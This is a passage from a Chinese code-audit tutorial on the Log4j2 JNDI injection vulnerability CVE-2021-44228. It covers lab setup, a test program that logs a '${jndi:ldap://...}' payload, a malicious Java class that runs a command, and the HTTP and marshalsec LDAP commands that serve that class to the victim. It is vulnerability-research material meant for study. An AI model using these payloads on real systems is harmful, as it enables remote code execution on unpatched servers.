如何分析Log4j2 CVE-2021-44228 JNDI注入及递归解析的完整攻击链?
摘要:代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析 目录 环境搭建 漏洞复现 编写测试代码 构造恶意 class 文件 启动 LDAP 转发器 请求流程 使用 JNDI 工具一键利用 代码
代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析
目录
环境搭建
漏洞复现
编写测试代码
构造恶意 class 文件
启动 LDAP 转发器
请求流程
使用 JNDI 工具一键利用
代码审计
payload 入口追踪
MessagePatternConverter:关键转折点
substitute:变量解析核心
resolveVariable:触发入口
Interpolator:协议分发
触发条件与常见入口
WAF 绕过原理
常见绕过 payload
补丁分析
总结
环境搭建
JDK:jdk8u65
Log4j2:2.14.1
pom.xml 依赖:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
添加好依赖之后效果如下:
然后通过 Maven 下载源码,方便后面调试:
漏洞复现
编写测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {
// 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// 模拟用户输入的恶意字符串
String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}";
// 触发漏洞
logger.error("用户输入数据: {}", payload);
}
}
构造恶意 class 文件
Exploit.java:
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:
python -m http.server 5566
启动 LDAP 转发器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389
参数说明:
-cp:指定类路径(classpath)
marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有 marshalsec.jndi.RMIRef
